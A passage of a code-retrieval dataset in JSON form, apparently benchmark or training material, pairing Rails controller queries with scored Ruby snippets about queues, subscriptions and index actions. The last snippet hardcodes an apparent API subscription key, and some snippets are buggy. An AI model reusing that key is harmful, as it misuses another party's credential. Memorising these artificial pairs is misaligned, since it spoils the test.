end", "title": "" }, { "docid": "b05df9ff21316f55f21c994669e95212", "score": "0.6350625", "text": "def queued?\n status.queued?\n end", "title": "" }, { "docid": "803d26989a770278c56569bf0af08034", "score": "0.6330085", "text": "def is_subscribed\n if initted?\n @@dll_SteamAPI_ISteamApps_BIsSubscribed.call(@i_apps) % 256 != 0\n else\n nil\n end\n end", "title": "" }, { "docid": "28a5ef0f393f2cabc7bedee94f09e533", "score": "0.63083726", "text": "def sleeping?\n @msg_queue.empty?\n end", "title": "" }, { "docid": "756d6c7206688fdfac4bdb0057a1c8bc", "score": "0.6294652", "text": "def busy?\n\n @queue.size > 0\n end", "title": "" }, { "docid": "c327f33bc594f67192c25d644c71866f", "score": "0.6285906", "text": "def has_transactions?\n queue.any?\n end", "title": "" }, { "docid": "2709e738736b0f111bb210bbcb97e97a", "score": "0.62537175", "text": "def is_subscribed_to?(channel)\n Subscription.where(:subscriber_id => self.id, :channel_id => channel.id).exists?\n end", "title": "" }, { "docid": "db7703d82cc08c056f85534d3bc7316a", "score": "0.62462276", "text": "def queued?\n @state == STATE_QUEUED\n end", "title": "" }, { "docid": "9a0c1c08c521d44bee7ccd8e0bea39ba", "score": "0.62430286", "text": "def any?\n !@queue.empty?\n end", "title": "" }, { "docid": "84363e3bd6ebf11c0a10073c8361e831", "score": "0.6223695", "text": "def subscribed?(u)\n @clients.has_key?(u.signature)\n end", "title": "" }, { "docid": "21a9c95e2f539af6e443c0833ad72408", "score": "0.6220222", "text": "def exists?\n result = loaddata\n unless result[:result]\n Puppet.debug 'JMS Queue do not exists'\n return false\n end\n true\n end", "title": "" }, { "docid": "4aa7243b2cdd47882fdc9413d630e234", "score": "0.621889", "text": "def subscribed_by?(user)\n subscriptions.where(user: user).any?\n end", "title": "" }, { "docid": "4aa7243b2cdd47882fdc9413d630e234", "score": "0.621889", "text": "def subscribed_by?(user)\n subscriptions.where(user: user).any?\n end", "title": "" }, { "docid": "c2a444b7f193cde5554fdb7e8f7f44e4", "score": "0.621356", "text": "def subscribed?\n !@attributes.nil? && @attributes.include?(:Subscribed)\n end", "title": "" }, { "docid": "3dbc13b6dc21f663d12222e522074609", "score": "0.6192894", "text": "def exists?\n $data = nil\n cmd = compilecmd \"/subsystem=messaging/hornetq-server=default/jms-queue=#{@resource[:name]}:read-resource()\"\n res = executeAndGet cmd\n\n if not res[:result]\n Puppet.debug \"JMS Queue do not exists\"\n return false\n end\n $data = res[:data]\n return true\n end", "title": "" }, { "docid": "0bd81ab6121a2f8c3854db363a88d3d9", "score": "0.6189884", "text": "def subscription_enabled?\n _notification_subscription_allowed ? true : false\n end", "title": "" }, { "docid": "2e0c1c0574bbfcdf7d7213636bac4937", "score": "0.6184882", "text": "def any?\n !@queue.empty?\n end", "title": "" }, { "docid": "2a6fc8e0672e110907ba01bde7f5b805", "score": "0.6175542", "text": "def wait_for_consume?\n handlers.size.zero? && filters.size.zero?\n end", "title": "" }, { "docid": "619550d637fabeddc04b851990c1d962", "score": "0.6168659", "text": "def queued_video?(video)\n queue_items.map(&:video).include?(video)\n end", "title": "" }, { "docid": "0b0cb09546fa02b776f1a0093d3f9115", "score": "0.6162573", "text": "def slotAvailable?(topic_id)\n SignUpTopic.slotAvailable?(topic_id)\n end", "title": "" }, { "docid": "0b0cb09546fa02b776f1a0093d3f9115", "score": "0.6162573", "text": "def slotAvailable?(topic_id)\n SignUpTopic.slotAvailable?(topic_id)\n end", "title": "" }, { "docid": "0b0cb09546fa02b776f1a0093d3f9115", "score": "0.6162573", "text": "def slotAvailable?(topic_id)\n SignUpTopic.slotAvailable?(topic_id)\n end", "title": "" }, { "docid": "8563218d4e9c78cae6416653ed3320c3", "score": "0.6161527", "text": "def subscriber?\n self.subscription.plan_id != nil && self.subscription.plan_id >= 1\n end", "title": "" }, { "docid": "2932f34f8dd6ebb1908405d375fe6550", "score": "0.61493486", "text": "def empty?\n @queue.empty?\n end", "title": "" }, { "docid": "921bc5da400a4d782a879963394419c8", "score": "0.61479384", "text": "def have_sip_device?\n self.sip_devices and self.sip_devices.size.to_i > 0\n end", "title": "" }, { "docid": "1226c053a978bf490468f18baba242ea", "score": "0.61376595", "text": "def subscribed?(domain, node, jid)\n jid = JID.new(jid)\n @cluster.query(:sismember, \"pubsub:#{domain}:subscribers_#{node}\", jid.to_s) == 1\n end", "title": "" }, { "docid": "6846fc01a866dcd1d6ede9d45f6671b4", "score": "0.6136906", "text": "def empty?\n\t\t@queue.empty?\n\tend", "title": "" }, { "docid": "0f437fe4619052dd41cb65837b4a381d", "score": "0.61355966", "text": "def check_queue\n # The interesting options hash for our new work query\n check = {\n :deliver_at => {'$lte' => Time.now.utc},\n :result => {'$exists' => false},\n :locked => {'$exists' => false}\n }\n Candygram.queue.find(check).to_a\n end", "title": "" }, { "docid": "6d7c424a434c4ee6d11cc156c1c196b5", "score": "0.61311597", "text": "def enqueued?\n !!@handle\n end", "title": "" }, { "docid": "93af6f7f560fd7f662c206cf56e85e0e", "score": "0.6118468", "text": "def is_subscribed_to\n scope[:current_veteran].is_subscribed_to?(object)\n end", "title": "" }, { "docid": "90b482c25aab742aaedf7bb0fbd9c6d7", "score": "0.6108399", "text": "def on_queue(url)\n true\n end", "title": "" }, { "docid": "683df9c6dad83f44ac1422f8d26296b7", "score": "0.61016375", "text": "def any?\n !@queue.empty?\n end", "title": "" }, { "docid": "7d7f196fccf610489f0f7c9f7efb3034", "score": "0.60998493", "text": "def empty?\n @queue.empty?\n end", "title": "" }, { "docid": "0e4d7c75b65b026119932d8121623161", "score": "0.6097002", "text": "def readable?\n (events & ZMQ::POLLIN) == ZMQ::POLLIN\n end", "title": "" }, { "docid": "6348031036b24cb8fc0ce3f185c775aa", "score": "0.6078801", "text": "def registered?\n !push_id.nil?\n end", "title": "" }, { "docid": "db821368ca43af4fcfe17c164d9d5d7e", "score": "0.60729754", "text": "def can_subscribe?()\n \treturn !(self.phoneNumber.nil?)\n\tend", "title": "" }, { "docid": "5855ae77a43ff91610560987e631dd87", "score": "0.6068929", "text": "def queued?\n @mutex.synchronize { @task_queued }\n end", "title": "" }, { "docid": "6d671267c41d0fdf837c3e8ce8dd7270", "score": "0.60519284", "text": "def unsubscribed?\n @subscription.nil?\n end", "title": "" }, { "docid": "86c3ef3397c34d4395969b2da4c3a657", "score": "0.6050876", "text": "def empty?\n @queue.empty?\n end", "title": "" }, { "docid": "86c3ef3397c34d4395969b2da4c3a657", "score": "0.6050876", "text": "def empty?\n @queue.empty?\n end", "title": "" }, { "docid": "86c3ef3397c34d4395969b2da4c3a657", "score": "0.6050876", "text": "def empty?\n @queue.empty?\n end", "title": "" }, { "docid": "2c8c4e45686cfdd8a7c22f06c6b448e1", "score": "0.6045017", "text": "def tr069_refresh_device_if_not_in_queue device_id\r\n\r\n\t\ttasks = tr069_get_task_queue(device_id)\r\n\r\n\t\tis_in_queue = tasks.any?{ |t|\r\n\t\t\tt['name'] == 'refreshObject' and t['device'] == device_id\tand\r\n\t\t\tt['objectName'] == \"\"\r\n\t\t}\r\n\r\n\t\tif !is_in_queue\r\n\t\t\ttr069_post(device_id, {'name' => 'refreshObject', 'objectName' => \"\"})\r\n\t\t\twebsocket_wake_up_mediaspot(device_id)\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "ee1432a615ff7d6412a6549f1dd01f60", "score": "0.60313827", "text": "def queued?\n attributes['status'] == 3\n end", "title": "" }, { "docid": "cb0535f358f423c90e4de62a609b3f04", "score": "0.6023477", "text": "def subscribed_to?(chapter)\n subscriptions.where(chapter: chapter).exists?\n end", "title": "" }, { "docid": "e3523f1fdc7ad7013c27e7a2734dfbd6", "score": "0.60048616", "text": "def should_queue?\n @options[:offline_queueing] && @offline_handler.queueing?\n end", "title": "" }, { "docid": "66c0671a1aae1c2966321947c5f8a7cc", "score": "0.5990997", "text": "def empty?\n @queued.empty?\n end", "title": "" }, { "docid": "df830a5aafeea6a0c01d1664363bb4bc", "score": "0.5982585", "text": "def is_empty()\n @queue.size == 0\n end", "title": "" }, { "docid": "0d1b9c982806e9576b1bd2993908c75a", "score": "0.5978402", "text": "def queue_exists?(name, credentials)\n command = \"rabbitmqadmin #{credentials} list queues | grep #{name}\"\n command = Mixlib::ShellOut.new(command)\n command.run_command\n begin\n command.error!\n true\n rescue\n false\n end\nend", "title": "" }, { "docid": "250e7f62a7bfe1aa878e3571aa09a14f", "score": "0.5966608", "text": "def unsubscribed?\n preminum? ? false : true\n #subscribed? ? false : true\n end", "title": "" }, { "docid": "fb48ab7b0d3bc2fff25332bdbfe0f234", "score": "0.59624857", "text": "def is_empty()\n @queue.count { _1 } == 0\n end", "title": "" }, { "docid": "b4366f850960bb377478dd58cfd22874", "score": "0.59615386", "text": "def empty?\n @queue.empty?\n end", "title": "" }, { "docid": "67f1e58d8b5d59243c7055c95dccbeda", "score": "0.59543985", "text": "def include?(item)\n @queue.include?(item)\n end", "title": "" }, { "docid": "a5ea45a21ee7e24f2296052c3a2b1441", "score": "0.5945614", "text": "def setup_shared_queue\n @amq.queue(@shared_queue).subscribe(:ack => true) do |info, msg|\n begin\n info.ack\n receive_request(@serializer.load(msg))\n rescue Exception => e\n RightLinkLog.error(\"RECV #{e.message}\")\n @callbacks[:exception].call(e, msg, self) rescue nil if @callbacks && @callbacks[:exception]\n end\n end\n true\n end", "title": "" }, { "docid": "8c2c8c194c1c16649faacb5a1a43dfa0", "score": "0.5942994", "text": "def subscribed?\n ( @subscription_id.nil? or @watermark.nil? )? false : true\n end", "title": "" }, { "docid": "1da78c04ce57380b55480f18d319f878", "score": "0.5940965", "text": "def active_subscription?\n managers.map(&:subscribed?).include?(true) || managers.map(&:active_trial?).include?(true) ? true : false\n end", "title": "" }, { "docid": "ebe0413092a7b06aeae564507a194e29", "score": "0.5937378", "text": "def can_process_cmd?\n settings.queue.empty?\n end", "title": "" }, { "docid": "5d3bc7b9de279d7934efb0845ab8abfe", "score": "0.5933258", "text": "def subscribed?(user)\n user.subscription.subscribed==true\n end", "title": "" }, { "docid": "ab57029f756c209ee36cf8dc1a0a1e38", "score": "0.5925742", "text": "def wants_to_subscribe?\n source_is_ffcrm? && has_list?\n end", "title": "" }, { "docid": "0d8875fe3e2a2600a9fd51732f0072c9", "score": "0.59237117", "text": "def queue_full?\n free_slots == 0\n end", "title": "" }, { "docid": "d0704e2d0fa0a48ccc71c4a3d9a4a7f0", "score": "0.5903844", "text": "def unsubscribed?\n @gate.synchronize do\n return @unsubscribed\n end\n end", "title": "" }, { "docid": "234da287b66c93ba04c75c7e08e98cc1", "score": "0.59029454", "text": "def broadcast?\n self.identifier == '00'\n end", "title": "" }, { "docid": "4a0b7d05e60c9c21ad9e2333f830b8ef", "score": "0.5897387", "text": "def has_registered_receiver?\n self.receiver && self.receiver.activated?\n end", "title": "" }, { "docid": "1cb5e11765ee1dc043eb71cf8fe1825e", "score": "0.58963645", "text": "def unsubscribed?\n self.type == :unsubscribed\n end", "title": "" }, { "docid": "0a3ca409e01705cc9d288b52994bd92d", "score": "0.5888533", "text": "def ready?\n inslots.values.all?{|inslot| queues[inslot.name].length > 0 }\n end", "title": "" }, { "docid": "4c40f0aa9bc91f19e902bf83e71f1b13", "score": "0.58804524", "text": "def consumer?\n self.type == \"Consumer\"\n end", "title": "" }, { "docid": "8893b0b3cade4aed9dd9932b86beed9e", "score": "0.58787876", "text": "def queued?\n job_queued?\n end", "title": "" }, { "docid": "5ab42d2aa054045065266f882b6f2e74", "score": "0.58592814", "text": "def ready?\n warn \"Hmm, too many records in queue: #{queue}\" if queue.size > delay+1\n queue.size > delay\n end", "title": "" }, { "docid": "09f11e48ea627cd564899b1a989413d2", "score": "0.58481914", "text": "def channel?\n not query?\n end", "title": "" }, { "docid": "2c13a7caed61d1c8abaf3ebf0cf3261f", "score": "0.5838121", "text": "def no_subscriptions?\n subscribables.empty? && !toc\n end", "title": "" }, { "docid": "bca11f9fd97398fc4f2de16bc72a8994", "score": "0.5837989", "text": "def queueing?\n offline? && @state != :flushing\n end", "title": "" } ]
4c4c5e3465a054c799ceccd37d64658e
GET /liders GET /liders.json
[ { "docid": "272f4b18d45a57f4d1ca528b2ba2bc05", "score": "0.74382263", "text": "def index\n @liders = Lider.all\n end", "title": "" } ]
[ { "docid": "e2c5493c7e4babc0e6cc65ed39e252ea", "score": "0.6995734", "text": "def list\n @sliders = Admin::Slider.names\n\n render json: { sliders: @sliders }\n end", "title": "" }, { "docid": "d86808804f2d25cf51f107c630373de4", "score": "0.64652324", "text": "def index\n @spiders = Spider.where(:stop => false)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spiders }\n format.rb {\n render \"list\", :layout => false\n }\n end\n end", "title": "" }, { "docid": "360aaf8a9d1a2c9a0afefcbf7ddb48f0", "score": "0.63105965", "text": "def index\n @sliders = Slider.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json=>@sliders} \n end\n end", "title": "" }, { "docid": "772747b2b6183facdae518349b341bb6", "score": "0.6249808", "text": "def index\n @sliders = Slider.all\n\n respond_to do |format|\n format.html { render :layout => ADMIN_LAYOUT }\n format.json { render :json => @sliders }\n end\n end", "title": "" }, { "docid": "18d9872ad17e738e9ada01fde7111655", "score": "0.62273186", "text": "def index\n sliders = Slider.where(:isActive => true)\n if sliders.present?\n render json: {\n status: 'OK', results: sliders, error: nil\n }, status: :ok\n else\n render json: {\n status: 'FAIL', results: nil, error: 'Data is empty'\n }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "07131dbd7f4247bd891c2868fef048a1", "score": "0.61452496", "text": "def show\n render json: @slider\n end", "title": "" }, { "docid": "d8f9aedaa8c41404d45de7a3910c9da1", "score": "0.60680485", "text": "def slider(id, options = {})\n get(\"/sliders/#{id}\", options)\n end", "title": "" }, { "docid": "da1c3f5e4f8fd4c01bd95ec0dd616230", "score": "0.60549885", "text": "def index\n @riders = Rider.all\n render json: @riders\n end", "title": "" }, { "docid": "a20d21f1638e31392b722775373fc843", "score": "0.60134697", "text": "def set_lider\n @lider = Lider.find(params[:id])\n end", "title": "" }, { "docid": "c7c34bdcdd3a8eac4066bae2ec8637bc", "score": "0.5993381", "text": "def index\n url = 'https://petapi-1.herokuapp.com/'\n @response = RestClient.get(url)\n @parsed = JSON.parse(@response)\n end", "title": "" }, { "docid": "d6a879df85abc965945f045bb2476ecc", "score": "0.59868973", "text": "def larves\n self.class.get('/monstre_larve.json')\n end", "title": "" }, { "docid": "2257784629b6e17b3235010a2004b3a0", "score": "0.5961466", "text": "def create\n @lider = Lider.new(lider_params)\n\n respond_to do |format|\n if @lider.save\n format.html { redirect_to @lider, notice: 'Lider was successfully created.' }\n format.json { render :show, status: :created, location: @lider }\n else\n format.html { render :new }\n format.json { render json: @lider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "273c3d03f0844c4bba6f3ab3182173da", "score": "0.59374166", "text": "def index\n @riders = Rider.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @riders }\n end\n end", "title": "" }, { "docid": "fef1a1920ba235e610b3a099f011fb97", "score": "0.5931027", "text": "def show\n @slider = Slider.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slider }\n end\n end", "title": "" }, { "docid": "ec434552c020fcab605f4a92c7213ec7", "score": "0.58947134", "text": "def show\n @slider = Slider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json=>@slider }\n end\n end", "title": "" }, { "docid": "367a7325c7eb7f9522f2cde94cb24072", "score": "0.58822876", "text": "def index\n @homesliders = Homeslider.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @homesliders }\n end\n end", "title": "" }, { "docid": "d1fc258af7cd215f945643008877f787", "score": "0.5877174", "text": "def index\n @ladders = Ladder.all\n\n render json: @ladders\n end", "title": "" }, { "docid": "004132cf2f9ae0042775f4ed7bce3ea8", "score": "0.5847557", "text": "def new\n @slider = Slider.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slider }\n end\n end", "title": "" }, { "docid": "8698b42b4a1f07aeba58cfad139814a4", "score": "0.5818841", "text": "def show\n @rider = Rider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rider }\n end\n end", "title": "" }, { "docid": "8698b42b4a1f07aeba58cfad139814a4", "score": "0.5818841", "text": "def show\n @rider = Rider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rider }\n end\n end", "title": "" }, { "docid": "8698b42b4a1f07aeba58cfad139814a4", "score": "0.5818841", "text": "def show\n @rider = Rider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rider }\n end\n end", "title": "" }, { "docid": "15a8aa221ad102fd40dc343478ccdc02", "score": "0.5804074", "text": "def new\n @slider = Slider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json=>@slider}\n end\n end", "title": "" }, { "docid": "b49c3329f9cc7a92f05b2fdc8835bc43", "score": "0.57664543", "text": "def index\n @luggages = luggages.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @luggages }\n end\n end", "title": "" }, { "docid": "c9b3aee6e71dcd0323d01db577f8403a", "score": "0.57327306", "text": "def obtener_lider(cliente)\n return cliente.liders.where(:estatus=>true).all\n end", "title": "" }, { "docid": "a95e9116789f25a9572e07d9d84d7e8a", "score": "0.5728357", "text": "def new\n @rider = Rider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rider }\n end\n end", "title": "" }, { "docid": "a95e9116789f25a9572e07d9d84d7e8a", "score": "0.5728357", "text": "def new\n @rider = Rider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rider }\n end\n end", "title": "" }, { "docid": "8c4174dba217f07cf09ad441a1aa0811", "score": "0.5725655", "text": "def index\n @dices = Dice.all\n render json: @dices\n end", "title": "" }, { "docid": "80acc37e3474460757c0a5623f4ab5e1", "score": "0.569528", "text": "def uri\n \"http://api:3000/votes.json\"\n end", "title": "" }, { "docid": "25577b46adf33964d25a0ec4221928a7", "score": "0.5686494", "text": "def index\n @lectures = Lecture.all\n\n render json: @lectures\n end", "title": "" }, { "docid": "1c0ec9465e7eedd8a73bc73552455edb", "score": "0.5669761", "text": "def index\n @legs = Leg.all\n\n render json: @legs\n end", "title": "" }, { "docid": "177fc29d3a4e4d3d1128807c2ff6f3f6", "score": "0.5646471", "text": "def index\n @lyks = Lyk.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lyks }\n end\n end", "title": "" }, { "docid": "9c083253341f9ee883a5d97ceef0d50a", "score": "0.5597167", "text": "def index\n\t\t@leagues = Fantasy.where(private_access: false, active: true, published: true, full:false, locked:false)\n\t\trender json: @leagues\n\tend", "title": "" }, { "docid": "db74cc94fa3c5d2d43b99fdf8eae5b85", "score": "0.5586884", "text": "def lights\n get(\"/lights\")\n end", "title": "" }, { "docid": "1c59c5ccf1d4b0cd83ec4589773cbf79", "score": "0.55785024", "text": "def index\n @images = Image.where(:for_slider => true)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end", "title": "" }, { "docid": "c81b7ad78d49f0cf549d42e6224249df", "score": "0.55736333", "text": "def show\n client = Marvelite::API::Client.new(:public_key => ENV['MARVEL_KEY'], :private_key => ENV['MARVEL_SECRET'])\n .characters(:name => 'Spider-Man').to_json\n client = JSON.parse(client)\n comics = client['data']['results']\n render json: comics\n end", "title": "" }, { "docid": "e061740cd357d2c2b74cbaf5e943571a", "score": "0.5572092", "text": "def search\n @sliders, @total_count = Admin::Slider.search(params[:search], params[:pagination], params[:sorting])\n\n render json: { sliders: @sliders, totalCount: @total_count }\n end", "title": "" }, { "docid": "7cea55b657fd6ab763aad03f14570c96", "score": "0.557159", "text": "def index\n \n @sheldon_rating_scales = @sheldon_rating_category.sheldon_rating_scales\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @sheldon_rating_scales }\n end\n end", "title": "" }, { "docid": "eabfaa72e4a93e70be1ac820b9787bbb", "score": "0.55695736", "text": "def index\n @lends = User.find_by_id(params[:user_id]).lends\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lends }\n end\n end", "title": "" }, { "docid": "ba1506c57280a51498ad26210ca78afd", "score": "0.55641115", "text": "def index\n response = ::TrailFetcher.new.get\n puts response.read_body\n @trails = Trail.all\n end", "title": "" }, { "docid": "17bd8c675339006e2c0156fedd60ac1a", "score": "0.5533107", "text": "def index\n @trailers = Trailer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trailers }\n end\n end", "title": "" }, { "docid": "1f5a7ef87feb2fd358e9332e3e14f416", "score": "0.55295974", "text": "def index\n @competitors = @ladder.competitors\n render json: @competitors, root: false\n end", "title": "" }, { "docid": "451af39eb4cb293737630c714a3df93c", "score": "0.5507955", "text": "def index\n @liberries = Liberry.all\n end", "title": "" }, { "docid": "5a1c164102e7f6c7f0347155db7e1d59", "score": "0.5496973", "text": "def index\n @violators = Violator.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @violators }\n end\n end", "title": "" }, { "docid": "60d77ecf7adc85e3c798e4874f9dd8d6", "score": "0.5486651", "text": "def index\n @sliders = Admin::Slider.all\n end", "title": "" }, { "docid": "f3482a8a421143a4ad218b1a52aa2b6b", "score": "0.5486553", "text": "def index\n @elevators = Elevator.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @elevators }\n end\n end", "title": "" }, { "docid": "b22e2383a6a9c0aff022b386290dc150", "score": "0.547482", "text": "def index\n @carousels = @carousel_animation.carousels.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @carousels }\n end\n end", "title": "" }, { "docid": "56dee51dc10cc1ab599bc053d25f106c", "score": "0.5472292", "text": "def show\n @spider_url = SpiderUrl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @spider_url }\n end\n end", "title": "" }, { "docid": "8dccf884facd7bc76e5047c2451765a0", "score": "0.5470814", "text": "def index\n respond_to do |format|\n format.html {}\n format.json {\n render json: @ladders, root: false\n }\n end\n end", "title": "" }, { "docid": "f0371b9beddf0f8a065f57c7e7f4b7bd", "score": "0.5463421", "text": "def index\n render status: :ok, json: @lectures\n end", "title": "" }, { "docid": "c19636cdf57c2953c5bd2e215f5a10af", "score": "0.5462704", "text": "def show\n if @slider.present?\n render json: {\n status: 'OK', results: @slider, error: nil\n }, status: :ok\n else\n render json: {\n status: 'FAIL', results: nil, error: 'Data not found'\n }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "1323f282ff8ba224bf45a5a48b2c0177", "score": "0.54557484", "text": "def index\n @sliders = current_user.sliders\n end", "title": "" }, { "docid": "4fafa75ccd5d1ca677a183eecfc47f1c", "score": "0.5449917", "text": "def show\n @homeslider = Homeslider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @homeslider }\n end\n end", "title": "" }, { "docid": "95fb9297605c14f4507c97e81c71b05e", "score": "0.5426843", "text": "def index\n\t\t@leagues = League.all\n\t\trender json: @leagues\n\tend", "title": "" }, { "docid": "8a2cc7e05ac1d0694520dd5043a879da", "score": "0.54077095", "text": "def index\n @nerds = Nerd.all\n render json: @nerds\n end", "title": "" }, { "docid": "727f0ff90b2eef196c32c1cced12d577", "score": "0.5406741", "text": "def show\n render json: @lecture\n end", "title": "" }, { "docid": "7f2c4f3b862a3e8f7150b92a79c7ed38", "score": "0.5399476", "text": "def new\n @slider = Slider.new\n\n respond_to do |format|\n format.html { render \"edit\" }\n format.json { render json: @slider }\n end\n end", "title": "" }, { "docid": "bfee029b004efd045dc868534733908a", "score": "0.53913814", "text": "def index\n @libraties = Libraty.all\n end", "title": "" }, { "docid": "82f5d612e1cf3e177588652fa149be72", "score": "0.5384313", "text": "def index\n @polls = Poll.all\n\n render json: @polls\n end", "title": "" }, { "docid": "67ada51c8ea9c1b471fd965d6203e5d3", "score": "0.5383213", "text": "def show\n @image_slider = ImageSlider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image_slider }\n end\n end", "title": "" }, { "docid": "e955c1cb6c292a0c3381e3f1c816199c", "score": "0.5371904", "text": "def index\n @laws = Law.where('jail_id =?', params[:jail_id])\n \n render json: @laws\n # respond_to do |format|\n # format.html\n # format.json { render json: @laws }\n # end\n end", "title": "" }, { "docid": "c6572965c60f33ca9dc1c62024057061", "score": "0.5368952", "text": "def index\n @slants = Slant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slants }\n end\n end", "title": "" }, { "docid": "0484246f5f90ea08961d46ac1dbd1d4b", "score": "0.5368094", "text": "def show\n if params[:id]\n @spider = Spider.find(params[:id])\n end\n if params[:brand_id]\n @spider = Spider.find_by_brand_id(params[:brand_id])\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @spider }\n end\n end", "title": "" }, { "docid": "5e1be10b1248fa732549fa55d85c0e0b", "score": "0.5362386", "text": "def index\n @racers = Racer.all\n\n render json: @racers\n end", "title": "" }, { "docid": "968a53b91ece5902351345b5a77252cb", "score": "0.5357963", "text": "def index\n @slider_resta = SliderRestum.all\n end", "title": "" }, { "docid": "8d998047a5a172563bd2e045606e1f2d", "score": "0.5356119", "text": "def index\n @dose = Dose.all\n\n render json: @dose, include: :pill\n end", "title": "" }, { "docid": "a68e05579d17afa191e41e35a4eeed46", "score": "0.5355687", "text": "def index\n @melodies = Melody.all\n end", "title": "" }, { "docid": "d738845a9dd125013f28dfcb3f5851e0", "score": "0.53478026", "text": "def show\n authorize! :read, resource\n \n @slidesets = resource.slidesets\n @slidesets = @slidesets.available unless is_admin\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lecture }\n end\n end", "title": "" }, { "docid": "289f29fffb0e04f04ca7d3466cdfe2ac", "score": "0.5326586", "text": "def new\n @image_slider = ImageSlider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image_slider }\n end\n end", "title": "" }, { "docid": "bba6955efc14a922c8e05b903c808dfa", "score": "0.532351", "text": "def index\n @pitches = @pitcher.pitches.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pitches }\n end\n end", "title": "" }, { "docid": "65e964b287c5a9d800810d4e3f4f6334", "score": "0.5318381", "text": "def carousel\n @carousel = Carousel.find(params[:id])\n\n respond_to do |f|\n f.html {}\n f.json { render 'carousels/show' }\n end\n end", "title": "" }, { "docid": "765f58d8066965b79ec779997d5153fe", "score": "0.53167987", "text": "def index\n @leagues = League.all\n render json: @leagues\n end", "title": "" }, { "docid": "463df21bffb596c19952ab0d5884a33d", "score": "0.5309308", "text": "def show\n render json: @ladder\n end", "title": "" }, { "docid": "96fc62d5f7a3b468f1164c14ff488a1b", "score": "0.5300377", "text": "def update\n respond_to do |format|\n if @lider.update(lider_params)\n format.html { redirect_to @lider, notice: 'Lider was successfully updated.' }\n format.json { render :show, status: :ok, location: @lider }\n else\n format.html { render :edit }\n format.json { render json: @lider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42a9db0f3a35307aca0ee9924a96a97d", "score": "0.5298438", "text": "def show\n @lote = Lote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lote }\n end\n end", "title": "" }, { "docid": "bd877d018924eb4752cb4ff3dcadfd44", "score": "0.52902186", "text": "def index\n @slides = Slide.order(\"position\")\n # Mixpanel Landing page tracking\n if Rails.env.production?\n if user_signed_in?\n mixpanel.track 'Landing Page Loaded', { :page_title => \"Slideshow\", :distinct_id => current_user.id, :user => \"Registered\" }\n else\n mixpanel.track 'Landing Page Loaded', { :page_title => \"Slideshow\", :user => \"Unregistered\" }\n end\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slides }\n end\n end", "title": "" }, { "docid": "29b78d7dc7a5ab34704f260eea1625df", "score": "0.52877665", "text": "def index\n\t\t@leagues = Elimination.where(private_access: false, active: true, published: true, full:false, locked:false)\n\t\trender json: @leagues\n\tend", "title": "" }, { "docid": "d2f7bb183533154e32ed1a5fcdfae5e1", "score": "0.528589", "text": "def index\n @response = []\n get_polls\n render json: @response, status => 200\n rescue StandardError => e # rescu if any exception occure\n render json: { message: \"Error: Something went wrong... \" }, status: :bad_request\n end", "title": "" }, { "docid": "3d573ab03483a36dfdedd2e11d152c2a", "score": "0.5272666", "text": "def index\n @laudus = HTTParty.get('https://jsonplaceholder.typicode.com/posts/1/comments',\n :headers =>{'Content-Type' => 'application/json'} )\n end", "title": "" }, { "docid": "48db886a8b44ed777d9a13e9e312859b", "score": "0.5265481", "text": "def index\n @raters = Rater.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @raters }\n end\n end", "title": "" }, { "docid": "96b5ac008b6205fdc4eb602d411327bd", "score": "0.5264254", "text": "def show\n uri = URI('https://api.ridemetro.org/data/CalculateItineraryByPoints')\n\n query = URI.encode_www_form({\n # Request parameters\n 'lat1' => '',\n 'lon1' => '',\n 'lat2' => '',\n 'lon2' => '',\n 'startTime' => `datetime'#{Time.now.utc.iso8601}'`,\n '$format' => 'JSON',\n '$orderby' => 'EndTime',\n '$expand' => 'Legs'\n })\n\n if uri.query && uri.query.length > 0\n uri.query += '&' + query\n else\n uri.query = query\n end\n\n request = Net::HTTP::Get.new(uri.request_uri)\n # Request headers\n request['Ocp-Apim-Subscription-Key'] = '6741c2454ce544309f5020fbd7b6e4ca'\n # Request body\n request.body = \"{body}\"\n\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n http.request(request)\n end\n\n puts \"response.body:\", response.body\n puts \"you made a get request I think?? (to 